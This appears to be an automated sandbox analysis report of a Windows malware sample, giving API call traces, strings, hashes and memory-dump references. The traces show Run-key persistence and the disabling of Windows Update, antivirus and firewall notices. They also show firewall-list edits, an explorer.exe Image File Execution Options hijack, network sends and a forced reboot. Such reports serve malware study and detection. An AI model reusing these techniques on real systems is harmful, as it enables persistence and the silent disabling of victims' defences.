lstrcatA.KERNEL32(?,00411030,?,00000104,?,?,?,?,?,?,00000104,?,?,?), ref: 00405771
lstrcatA.KERNEL32(00000000,007D0DA0,?,00411030,?,00000104,?,?,?,?,?,?,00000104,?,?,?), ref: 00405778
SetFileAttributesA.KERNEL32(00000000,00000080,00000000,007D0DA0,?,00411030,?,00000104,?,?,?,?,?,?,00000104), ref: 00405783
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,00411030,?,00000104), ref: 0040579E
WriteFile.KERNEL32(?,00407C80,00001400,?,00000000,?,?,?,?,?,?,00000080,00000000,?,00000104,?), ref: 004057DC
SetFileTime.KERNEL32(?,?,?,?), ref: 0040580A
CloseHandle.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,?,?,?,00000080,00000000), ref: 00405819
GetLastError.KERNEL32(?,?,?,00000080,00000000,00411030,?,00000104,?,?,?,?,?,?,00000104), ref: 0040586E
ExpandEnvironmentStringsA.KERNEL32(0040736E,?,00000104,?,?,?,?,00000080,00000000,00411030,?,00000104), ref: 004058AC
lstrcatA.KERNEL32(?,00000104,?,?,?,?,00000080,00000000,00411030,?,00000104), ref: 004058BB
SetFileAttributesA.KERNEL32(00000000,00000080,?,00000104,?,?,?,?,00000080,00000000,00411030,?,00000104), ref: 004058C6
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,00000104,?,?,?,?,00000080), ref: 004058E1
GetLastError.KERNEL32(?,?,?,00000080,00000000,?,?,?,00000104,?,?,?,?,00000080,00000000,00411030), ref: 004058FD
GetTempPathA.KERNEL32(00000104,?,?,?,?,?,?,00000080,00000000,?,?,?,00000104), ref: 0040591B
lstrcatA.KERNEL32(?,00000104,?,?,?,?,?,?,00000080,00000000,?,?,?,00000104), ref: 00405927
SetFileAttributesA.KERNEL32(00000000,00000080,?,00000104,?,?,?,?,?,?,00000080,00000000,?,?,?,00000104), ref: 00405932
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000104,?,?,?,?,?,?,00000080), ref: 0040594D
GetLastError.KERNEL32(?,?,?,00000080,00000000,?,00000104,?,?,?,?,?,?,00000080,00000000), ref: 00405969
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040599B
ExpandEnvironmentStringsA.KERNEL32(0040736E,?,00000104,?,?,?,?,?,?,?,?,?,?,?,00000080,00000000), ref: 004059C0
lstrcatA.KERNEL32(?,00000104,?,?,?,?,?,?,?,?,?,?,?,00000080,00000000), ref: 004059CF
SetFileAttributesA.KERNEL32(00000000,00000080,?,00000104,?,?,?,?,?,?,?,?,?,?,?,00000080), ref: 004059DA
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,00000104), ref: 004059F5
WriteFile.KERNEL32(00000000,00409080,00006400,?,00000000,?,?,?,?,?,?,00000080,00000000), ref: 00405A27
CloseHandle.KERNEL32(?,00000000,00409080,00006400,?,00000000,?,?,?,?,?,?,00000080,00000000), ref: 00405A33
GetTempPathA.KERNEL32(00000104,?,?,?,?,?,?,00000080,00000000,?,?,?,00000104), ref: 00405A50
lstrcatA.KERNEL32(?,00000104,?,?,?,?,?,?,00000080,00000000,?,?,?,00000104), ref: 00405A5C
SetFileAttributesA.KERNEL32(00000000,00000080,?,00000104,?,?,?,?,?,?,00000080,00000000,?,?,?,00000104), ref: 00405A67
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000104,?,?,?,?,?,?,00000080), ref: 00405A82
WriteFile.KERNEL32(00000000,00409080,00006400,?,00000000,?,?,?,?,?,?,00000080,00000000,?,00000104,?), ref: 00405AB4
CloseHandle.KERNEL32(?,00000000,00409080,00006400,?,00000000,?,?,?,?,?,?,00000080,00000000,?,00000104), ref: 00405AC0
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,00006400,?,00000000), ref: 00405AF8
RegOpenKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Run,00000000,00020006,?,?,?,?,?,?,?,00000080,00000000,?,00000104,?), ref: 00405B2E
RegOpenKeyExA.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,00020006,?), ref: 00405B4F
lstrlenA.KERNEL32(?,?,?,?,?,00020006,?,?,?,?,?,?,?,00000080,00000000), ref: 00405B79
RegSetValueExA.ADVAPI32(?,00000000,00000001,?,00000001,?,?,?,?,?,?,?,00020006,?), ref: 00405B95
RegCloseKey.ADVAPI32(?,?,?,?,?,00020006,?,?,?,?,?,?,?,00000080,00000000), ref: 00405BA7
RegCreateKeyA.ADVAPI32(80000002,SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU,?), ref: 00405BF2
RegSetValueExA.ADVAPI32(?,NoAutoUpdate,00000000,00000004,?,00000004), ref: 00405C1B
RegCloseKey.ADVAPI32(?,00000004,?,?,?,?,?,?,?,?,?,?,?,00020006,?), ref: 00405C2A
RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Microsoft\Security Center,00000000,00020006,?,?,?,?,?), ref: 00405C9C
RegSetValueExA.ADVAPI32(?,AntiVirusOverride,00000000,00000004,?,00000004,?,?,?,?,?,?,?,?,?), ref: 00405CC5
RegSetValueExA.ADVAPI32(?,AntiVirusDisableNotify,00000000,00000004,?,00000004,?,AntiVirusOverride,00000000,00000004,?,00000004), ref: 00405CDD
RegSetValueExA.ADVAPI32(?,FirewallDisableNotify,00000000,00000004,?,00000004,?,AntiVirusDisableNotify,00000000,00000004,?,00000004,?,AntiVirusOverride,00000000,00000004), ref: 00405CF5
RegSetValueExA.ADVAPI32(?,UpdatesDisableNotify,00000000,00000004,?,00000004,?,FirewallDisableNotify,00000000,00000004,?,00000004,?,AntiVirusDisableNotify,00000000,00000004), ref: 00405D0D
RegCloseKey.ADVAPI32(?,00000004,?,?,?,?,?,?,?,?,?), ref: 00405D1C
RegOpenKeyExA.ADVAPI32(80000002,SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List,00000000,0002001F,?,?,?,?,?,00020006,?,?,?,?,?), ref: 00405D52
RegDeleteValueA.ADVAPI32(?,00000000,?,?,?,0002001F,?,?,?,?,?,00020006,?), ref: 00405DCE
RegEnumValueA.ADVAPI32(?,?,00000000,?,00000000,?,00004000,00004000), ref: 00405E0A
wsprintfA.USER32 ref: 00405E24
RegSetValueExA.ADVAPI32(?,?,00000000,00000001,00000000,00000001,?,?,?,?,0002001F,?), ref: 00405E3B
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,0002001F,?), ref: 00405E54
CreateThread.KERNEL32(00000000,00010000,00402818,00000002,00000000,?), ref: 00405E77
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,00020006,?), ref: 00405E80
SetFileAttributesA.KERNEL32(?,00000021), ref: 00405F00
RegCreateKeyA.ADVAPI32(80000002,?,?), ref: 00405F1D
RegSetValueExA.ADVAPI32(?,00407382,00000000,00000004,00000001,00000004), ref: 00405F5D
lstrlenA.KERNEL32(?,00000004), ref: 00405F66
RegSetValueExA.ADVAPI32(?,0040738E,00000000,00000001,?,00000001), ref: 00405F81
RegCloseKey.ADVAPI32(?,00000001,?,00000001), ref: 00405F90
SetFileAttributesA.KERNEL32(?,00000021,?,?,?,?,?,?,?,00000001), ref: 00405FAC
RegCreateKeyA.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe,?), ref: 00405FC6
lstrlenA.KERNEL32(?), ref: 00405FE6
RegSetValueExA.ADVAPI32(?,00407379,00000000,00000001,?,00000001), ref: 00406001
RegCloseKey.ADVAPI32(?,00000001,?,00000001), ref: 00406010
RegOpenKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Run,00000000,00020006,?), ref: 00406039
RegOpenKeyExA.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,00020006,?), ref: 0040605A
lstrlenA.KERNEL32(?,?,?,?,?,00020006,?), ref: 00406071
RegSetValueExA.ADVAPI32(?,00000000,00000001,?,00000001,?,?,?,?,?,?,?,00020006,?), ref: 0040608D
RegCloseKey.ADVAPI32(?,?,?,00000001,?,?,?,?,?,?,?,00020006,?), ref: 0040609C
RegCreateKeyExA.ADVAPI32(80000002,004074E0,00000000,00000000,00000000,000F003F,0040F4FC,?,00000000), ref: 004060D6
RegCreateKeyExA.ADVAPI32(80000001,004074E0,00000000,00000000,00000000,000F003F,0040F4FC,?,00000000), ref: 00406102
RegSetValueExA.ADVAPI32(?,0040751C,00000000,00000003,?,0000022A,?,?,0040F4FC,?,00000000), ref: 0040612E
RegCloseKey.ADVAPI32(?,0000022A,?,?,0040F4FC,?,00000000,?,?,?,?,?,?,?,?,00000001), ref: 0040613D
SetFileAttributesA.KERNEL32(?,00000021,?,?,?,?,?,?,?,?,0040F4FC,?,00000000), ref: 00406152
RegCreateKeyA.ADVAPI32(80000002,00407240,?), ref: 0040617C
lstrlenA.KERNEL32(?), ref: 0040619C
RegSetValueExA.ADVAPI32(?,00407588,00000000,00000001,?,00000001), ref: 004061B7
RegSetValueExA.ADVAPI32(?,00407590,00000000,00000001,00407590,00000008,?,00407588,00000000,00000001,?,00000001), ref: 004061D3
RegCloseKey.ADVAPI32(?,00000001,?,00000001), ref: 004061E2
RegCreateKeyA.ADVAPI32(80000000,004075A0,?), ref: 00406204
lstrlenA.KERNEL32(?), ref: 0040621B
RegSetValueExA.ADVAPI32(?,00000000,00000000,00000001,?,00000001), ref: 00406233
RegSetValueExA.ADVAPI32(?,00407651,00000000,00000001,00407660,00000005,?,00000000,00000000,00000001,?,00000001), ref: 0040624F
RegCloseKey.ADVAPI32(?,00000001,?,00000001), ref: 0040625E
RegCreateKeyA.ADVAPI32(80000002,004075E0,?), ref: 00406271
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 00406287
SetFileAttributesA.KERNEL32(?,00000021,?,?,?,?,?,?,?,00000001), ref: 0040629C
Sleep.KERNEL32(000003E8,00000021,?,?,?,?,?,?,?,00000001), ref: 004062A9
RegCreateKeyExA.ADVAPI32(80000002,004074E0,00000000,00000000,00000000,000F003F,00000000,?,00000000), ref: 004062DF
RegQueryValueExA.ADVAPI32(?,00407527,00000000,00000000,?,?,?,?,00000000,?,00000000), ref: 0040631D
RegSetValueExA.ADVAPI32(?,00407527,00000000,00000004,?,00000004,?,?,?,?,?,?,00000000,?,00000000), ref: 00406356
RegDeleteValueA.ADVAPI32(?,00407527,?,?,?,?,?,?,00000000,?,00000000), ref: 0040636F
Sleep.KERNEL32(00001388,00407527,?,?,?,?,?,?,00000000,?,00000000), ref: 0040637C
ExitWindowsEx.USER32(00000006,00000000), ref: 004063B8
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 004063CA
CloseHandle.KERNEL32(?), ref: 004063E1
RegCloseKey.ADVAPI32(?,?,?,?,00412170,?,?,?,0040F4FC,?,00000000), ref: 004063F8
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,0040F48A), ref: 00406409

Strings

SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU, xrefs: 00405BE8
AntiVirusOverride, xrefs: 00405CB9
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe, xrefs: 00404C8B, 00405FBC
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00405B24, 00405B45, 0040602F, 00406050
SOFTWARE\Microsoft\Active Setup\Installed Components\, xrefs: 004050B6
SOFTWARE\Microsoft\Security Center, xrefs: 00405C92
--k33p, xrefs: 00403AD9
tmp, xrefs: 00405626, 0040568D
{10F5781A-0D97-0F99-EF77-BA382916E579}, xrefs: 00405142
SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 00405D48
%02X, xrefs: 004044B2
f, xrefs: 00404DAE
FirewallDisableNotify, xrefs: 00405CE9
{4D415259-4a4f-4e45-5334-4D4152594a4f}, xrefs: 00405083, 004050C8
sOfTwaRe\mIcRoSofT\cOdE SToRe dAtAbAsE\Distribution Units\{79AABB1D-FADB-7161-3CCB-997899295A29}, xrefs: 00405EA1
NoAutoUpdate, xrefs: 00405C0F
{9703941E-446E-952F-954A-3DA8A91ED84F}, xrefs: 00404CEA
QlC5hT0yHn63XEm5LqJ2OxSkGj2v, xrefs: 00404F8B
kernel32.dll, xrefs: 00403A6F, 00405854, 0040587D
UpdatesDisableNotify, xrefs: 00405D01
AntiVirusDisableNotify, xrefs: 00405CD1

Memory Dump Source

Source File: 00000003.00000002.3816864474.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3816776889.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.3816926527.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.3816995713.0000000000408000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.3817068093.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.3817143820.0000000000412000.00000004.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: File$Close$Create$Value$Handle$AddressProclstrcat$Attributes$Process$lstrlen$DeleteOpenWritelstrcpy$EnvironmentExpandStrings$CurrentLibraryLoadTempTime$DirectoryErrorExitLastNameObjectProcess32SingleSleepSystemWaitlstrcmpi$MutexPathQueryReadStartupThreadwsprintf$FirstInfoNextPointerSizeSnapshotToolhelp32$ClassCommandComputerCountEnumHeapLineModulePriorityTerminateTickVersionWindows
String ID: %02X$--k33p$AntiVirusDisableNotify$AntiVirusOverride$FirewallDisableNotify$NoAutoUpdate$QlC5hT0yHn63XEm5LqJ2OxSkGj2v$SOFTWARE\Microsoft\Active Setup\Installed Components\$SOFTWARE\Microsoft\Security Center$SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe$SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List$Software\Microsoft\Windows\CurrentVersion\Run$UpdatesDisableNotify$f$kernel32.dll$sOfTwaRe\mIcRoSofT\cOdE SToRe dAtAbAsE\Distribution Units\{79AABB1D-FADB-7161-3CCB-997899295A29}$tmp${10F5781A-0D97-0F99-EF77-BA382916E579}${4D415259-4a4f-4e45-5334-4D4152594a4f}${9703941E-446E-952F-954A-3DA8A91ED84F}
API String ID: 2347958643-4096272849
Opcode ID: 4815703a75f863ab10b100253ed1074a169afd28bfc9926a5a05f6dc8c284ea3
Instruction ID: fcd3a91cfab7fa25ee27508f4df0295c9928967f58dd1d1f7e7acfc0775f1f2c
Opcode Fuzzy Hash: 4815703a75f863ab10b100253ed1074a169afd28bfc9926a5a05f6dc8c284ea3
Instruction Fuzzy Hash: D1233BB19443406AE630B6349D47F9B3A989B40318F140A3FFA89B61D3E77C9529C79F

Non-executed Functions

Function 0040355D Relevance: 23.0, APIs: 15, Instructions: 493networkregistrysleepCOMMON

Download Yara Rule

APIs

lstrcpyA.KERNEL32(?,?,?,?,?,?,?,0040F4FC,?,00000000,?,?,?,0040F4FC,?,00000000), ref: 004029F2
gethostbyname.WS2_32(?), ref: 00402A11
htons.WS2_32(00000050), ref: 00402A30
socket.WS2_32(00000002,00000001,00000006), ref: 00402A5B
closesocket.WS2_32(00000000), ref: 00402A84
GetSystemTimeAsFileTime.KERNEL32(?), ref: 00403920
RegSetValueExA.ADVAPI32(?,0040F4EE,00000000,00000003,00412170,00000012), ref: 004039CD
RegSetValueExA.ADVAPI32(?,0040F4EE,00000000,00000003,00412170,00000012), ref: 004039EE
Sleep.KERNEL32(000927C0,?,?,?,?,?,?,?,?,?,?,?,0040F4FC,?,00000000), ref: 00403A0C

Memory Dump Source

Source File: 00000003.00000002.3816864474.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3816776889.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.3816926527.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.3816995713.0000000000408000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.3817068093.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.3817143820.0000000000412000.00000004.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: TimeValue$FileSleepSystemclosesocketgethostbynamehtonslstrcpysocket
String ID:
API String ID: 1870287861-0
Opcode ID: d0b6cef66b800da90ba3467bf04fa9bfb8d2020867b52d5de8f0e7a8069a1da6
Instruction ID: 2ee653d2f7df55df6907a0a9b2e57412953aa95c4ecf6cadf6b3b4d2485eddb3
Opcode Fuzzy Hash: d0b6cef66b800da90ba3467bf04fa9bfb8d2020867b52d5de8f0e7a8069a1da6
Instruction Fuzzy Hash: E412D3B0A002149FDB20EF28CD45B997BB5AF45304F1482FAE808B73D1D7799A85CF59

Function 004019AA Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 229processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004019BF
Process32First.KERNEL32(00000000,?), ref: 00401A0A
CloseHandle.KERNEL32(00000000), ref: 00401C12

Strings

T2A, xrefs: 00401B56, 00401BB4

Memory Dump Source

Source File: 00000003.00000002.3816864474.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3816776889.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.3816926527.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.3816995713.0000000000408000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.3817068093.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.3817143820.0000000000412000.00000004.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: CloseCreateFirstHandleProcess32SnapshotToolhelp32
String ID: T2A
API String ID: 1083639309-2019523081
Opcode ID: 3b0f47bd1a5bf9f8010e0a9d41935c21d537d6427fc48c9c7731a0199396ee73
Instruction ID: 7c6136f779b091b801ec7ced044d4ecd4f532b5644714f746006db05a6c2f320
Opcode Fuzzy Hash: 3b0f47bd1a5bf9f8010e0a9d41935c21d537d6427fc48c9c7731a0199396ee73
Instruction Fuzzy Hash: 627108706482009BE710AB24DD41B9B3BB8AB45348F04453AF945E72E1F37CE669CB9A

Function 004038AA Relevance: 21.3, APIs: 14, Instructions: 306networksleepregistryCOMMON

Download Yara Rule

APIs

lstrcpyA.KERNEL32(?,?,?,?,?,?,?,0040F4FC,?,00000000,?,?,?,0040F4FC,?,00000000), ref: 004029F2
gethostbyname.WS2_32(?), ref: 00402A11
htons.WS2_32(00000050), ref: 00402A30
socket.WS2_32(00000002,00000001,00000006), ref: 00402A5B
closesocket.WS2_32(00000000), ref: 00402A84
Sleep.KERNEL32(00000000), ref: 004038FD
GetSystemTimeAsFileTime.KERNEL32(?), ref: 00403920
RegSetValueExA.ADVAPI32(?,0040F4EE,00000000,00000003,00412170,00000012), ref: 004039CD
RegSetValueExA.ADVAPI32(?,0040F4EE,00000000,00000003,00412170,00000012), ref: 004039EE
Sleep.KERNEL32(000927C0,?,?,?,?,?,?,?,?,?,?,?,0040F4FC,?,00000000), ref: 00403A0C

Memory Dump Source

Source File: 00000003.00000002.3816864474.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3816776889.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.3816926527.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.3816995713.0000000000408000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.3817068093.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.3817143820.0000000000412000.00000004.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: SleepTimeValue$FileSystemclosesocketgethostbynamehtonslstrcpysocket
String ID:
API String ID: 104937078-0
Opcode ID: 59f52d4308e26f2c8992c92d3b2c4a8336bb46f4176d7e8b4135a0017782744e
Instruction ID: 51207a69c6f84e7cd26efe5e5962b9edc78a43a6ad57510283d07de6baf8f7fe
Opcode Fuzzy Hash: 59f52d4308e26f2c8992c92d3b2c4a8336bb46f4176d7e8b4135a0017782744e
Instruction Fuzzy Hash: 94C12C71A002149BDB20DF38CD49BD977B5AF44304F1082B6E509F72D1E7B99A58CF5A

Function 00402030 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 234networkstringCOMMON

Download Yara Rule

APIs

lstrcpyA.KERNEL32(?,?), ref: 00402065
lstrlenA.KERNEL32(00000000,?), ref: 0040206E
htons.WS2_32(00000000), ref: 004020C9
inet_addr.WS2_32(?), ref: 004020F0
gethostbyname.WS2_32(?), ref: 00402107
socket.WS2_32(00000002,00000001,00000006), ref: 0040213E
closesocket.WS2_32(00000000), ref: 00402169
wsprintfA.USER32 ref: 004021B5
send.WS2_32(00000000,?,00000000,00000000), ref: 004021C5
lstrcmpiA.KERNEL32(?,0040748A), ref: 00402206

Strings

0, xrefs: 004021EF

Memory Dump Source

Source File: 00000003.00000002.3816864474.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3816776889.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.3816926527.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.3816995713.0000000000408000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.3817068093.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.3817143820.0000000000412000.00000004.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: closesocketgethostbynamehtonsinet_addrlstrcmpilstrcpylstrlensendsocketwsprintf
String ID: 0
API String ID: 2963668025-4108050209
Opcode ID: c5914518efa31e6daf1d6d1c5ad6aede4384d13f612d860edefc583a5bee64dd
Instruction ID: 67f1582d9d65064009b7b38dedaf8d45dcb20af8a74f6ab8ff9eb660a5d02e62
Opcode Fuzzy Hash: c5914518efa31e6daf1d6d1c5ad6aede4384d13f612d860edefc583a5bee64dd
Instruction Fuzzy Hash: 83810DB0E002045BD710AB749E49B5F76B8AB05314F0441B6EB05FB2D1E7FC9A59C79E

Function 004016E1 Relevance: 18.1, APIs: 12, Instructions: 144registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(80000001,00407160,00000000,00000000,00000000,000F003F,00000000,?,00000000,?,?,0040228C), ref: 00401720
lstrlenA.KERNEL32(?,?,?,00001000,00000000,?,00000000,?,?,0040228C), ref: 00401751
lstrcatA.KERNEL32(?,00407120,?,?,?,?,?,?,?,00001000,00000000,?,00000000,?,?,0040228C), ref: 0040177F
RegOpenKeyExA.ADVAPI32(80000003,00000000,00000000,00020019,?,00407120,?,?,?,?,?,?,?,00001000,00000000,?), ref: 00401795
RegQueryValueExA.ADVAPI32(?,004071A8,00000000,?,?,?,?,?,?,00020019,?,00407120), ref: 004017D2
RegOpenKeyExA.ADVAPI32(?,004071B4,00000000,00020019,?,?,?,?,?,?,?,?,?,00020019,?,00407120), ref: 00401817
RegEnumValueA.ADVAPI32(?,?,?,?,00000000,?,?,00001000), ref: 0040189E
RegCloseKey.ADVAPI32(?), ref: 004018BD
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,00020019,?,00407120), ref: 004018CF
RegEnumKeyA.ADVAPI32(80000003,?,?,00001000), ref: 004018E8
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,00001000,00000000,?,00000000,?,?,0040228C), ref: 004018FF

Memory Dump Source

Source File: 00000003.00000002.3816864474.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3816776889.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.3816926527.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.3816995713.0000000000408000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.3817068093.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.3817143820.0000000000412000.00000004.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: Close$EnumOpenValue$CreateQuerylstrcatlstrlen
String ID:
API String ID: 1447802672-0
Opcode ID: c2f4eb5dcb65888f86c7ad64f5aeb95159d8d2dc340fff86f7741a61dcbf7091
Instruction ID: 66e194334fdec41dc41c183a83ee0e0423d2cbbda799cea80f6bf4481fa86f55
Opcode Fuzzy Hash: c2f4eb5dcb65888f86c7ad64f5aeb95159d8d2dc340fff86f7741a61dcbf7091
Instruction Fuzzy Hash: 2941EEB2904344AAF73176219C0AF9B7B9C9B44348F14443FFE88B51D3E279962CC667

Function 0040151E Relevance: 15.1, APIs: 10, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,004049C8,?,00000100,?,?,00000104), ref: 00401549
SetFileAttributesA.KERNEL32(?,00000080,?,?,?,?,?,00000100,?,?,00000104), ref: 0040156D
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,?,?,?,?,00000100), ref: 00401588
ReadFile.KERNEL32(00000000,?,00001000,?,00000000,?,?,?,?,?,?,00000080,00000000), ref: 004015F1
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000080,00000000), ref: 00401601
CloseHandle.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000080,00000000), ref: 00401607
DeleteFileA.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000080), ref: 0040160D

Memory Dump Source

Source File: 00000003.00000002.3816864474.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3816776889.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.3816926527.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.3816995713.0000000000408000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.3817068093.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.3817143820.0000000000412000.00000004.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: File$CloseCreateHandle$AttributesDeleteRead
String ID:
API String ID: 3513576528-0
Opcode ID: 0d9829dfa8e08aa6c7748854afdc2d091dcfa343b8acebea5d3c5eb7fafc4fb7
Instruction ID: ead9107263b76718dec6335517b8b67c7343bef8d8983c19364d90e74fa0285a
Opcode Fuzzy Hash: 0d9829dfa8e08aa6c7748854afdc2d091dcfa343b8acebea5d3c5eb7fafc4fb7
Instruction Fuzzy Hash: 8021A1B1A802007AE53031757C03F5B369C8B84758F190A3BFE06B91D6F5BDE62941AF

Function 00401379 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 51processfilesynchronizationCOMMON

Download Yara Rule

APIs

GetStartupInfoA.KERNEL32(?), ref: 00401393
CreateProcessA.KERNEL32(?,--k33p,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 004013AF
CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,?,--k33p,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 004013C9
WaitForSingleObject.KERNEL32(?,000000FF,00000000,?,?), ref: 004013D9
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?), ref: 004013ED
CloseHandle.KERNEL32(?,?,?,?,?,?,00000000,?,?), ref: 004013FC
CloseHandle.KERNEL32(?,?,?,?,?,?,?,00000000,?,?), ref: 00401405

Strings

--k33p, xrefs: 004013A9

Memory Dump Source

Source File: 00000003.00000002.3816864474.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3816776889.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.3816926527.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.3816995713.0000000000408000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.3817068093.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.3817143820.0000000000412000.00000004.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: CloseHandle$Create$FileInfoObjectProcessSingleStartupWait
String ID: --k33p
API String ID: 881816827-1573217081
Opcode ID: 23540df0282b53dc4e0cdbe067ed9abf83ee08cd0daae6381b3e11d49cf6d48d
Instruction ID: 3f95ffb7ecc753adf67741720bf5132c3bbf7ea7650a4e902ed5c82167082f99
Opcode Fuzzy Hash: 23540df0282b53dc4e0cdbe067ed9abf83ee08cd0daae6381b3e11d49cf6d48d
Instruction Fuzzy Hash: 8C01813180420476D6213A36AC07F0F7FA89B4576CF210A3DF959351EAE67D663D42AF

Function 00401D76 Relevance: 12.1, APIs: 8, Instructions: 94networkCOMMON

Download Yara Rule

APIs

